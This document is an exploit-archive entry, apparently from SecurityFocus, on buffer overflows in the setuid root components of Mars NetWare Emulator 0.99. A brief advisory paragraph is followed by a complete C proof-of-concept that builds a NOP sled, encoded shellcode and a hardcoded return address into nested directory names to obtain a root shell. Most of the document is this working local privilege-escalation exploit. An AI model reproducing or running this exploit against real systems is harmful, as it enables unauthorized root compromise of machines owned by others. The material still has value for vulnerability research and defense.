Mars NWE 0.99 Buffer Overflow Vulnerabilitie
source: http://www.securityfocus.com/bid/617/info
There are several buffer overflows in the setuid root components of the Mars Netware Emulator package. They allow for a local root compromise through the overflowing of buffers without bounds checking. It is to be assumed that all versions prior to and including 0.99 are vulnerable to these attacks.
// get a suid shell :)
#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>
#define BUFSIZE 254
#define NOP 0x90
#define RET 0xbffff3a0
#define ALIGN 1
int makedir(dir)
char *dir;
{
if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
return -1;
if (chdir(dir))
return -1;
return 0;
}
int main(void)
{
int i = 0, noplen = 0;
char pid[10], buf[BUFSIZE], *ptr = NULL;
char szelkod[] =
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d"
"\x31\xc9\xb1\x88\x80\x36\x01\x46\xe2\xfa\xea\x19\x2e"
"\x63\x68\x6f\x2e\x62\x69\x6c\x6e\x65\x01\x35\x36\x34"
"\x34\x01\x2e\x63\x68\x6f\x2e\x72\x69\x01\x88\xf7\x54"
"\x88\xe4\x82\xed\x19\x56\x57\x52\xe9\x01\x01\x01\x01"
"\x5a\x80\xc2\xcf\x11\x01\x01\x8c\xba\x0b\xee\xfe\xfe"
"\x88\x7c\xf1\x8c\x82\x14\xee\xfe\xfe\x88\x44\xf5\x8c"
"\x92\x1b\xee\xfe\xfe\x88\x54\xf9\xc6\x44\xfd\x01\x01"
"\x01\x01\xb9\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88"
"\xf2\xcc\x81\x8c\x44\xf1\x88\xc0\xb9\x0a\x01\x01\x01"
"\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x8c\x64\xdd\x5a"
"\x5f\x5e\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91"
"\x91\x91\x91\x00";
sprintf(pid, "%d", getpid());
if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
{
perror("mkdir()");
return -1;
}
if (chdir(pid))
{
perror("chdir()");
return -1;
}
ptr = buf;
noplen = BUFSIZE - strlen(szelkod);
for (i=0;i<noplen;i++)
*ptr++ = NOP;
*ptr += noplen;
for (i=0;i<strlen(szelkod);i++)
*ptr++ = szelkod[i];
*ptr = '\0';
if(makedir(buf) < 0)
{
perror("makedir()");
return -1;
}
bzero(buf, BUFSIZE);
memset(buf, NOP, 40 + ALIGN);
if(makedir(buf) < 0)
{
perror("makedir()");
return -1;
}
bzero(buf, BUFSIZE);
for(i=0;i<96;i+=4)
*(long *)&buf[i] = RET;
for(i=0;i<2;i++)
{
if(makedir(buf) < 0)
{
perror("makedir()");
return -1;
}
}
return 0;
}
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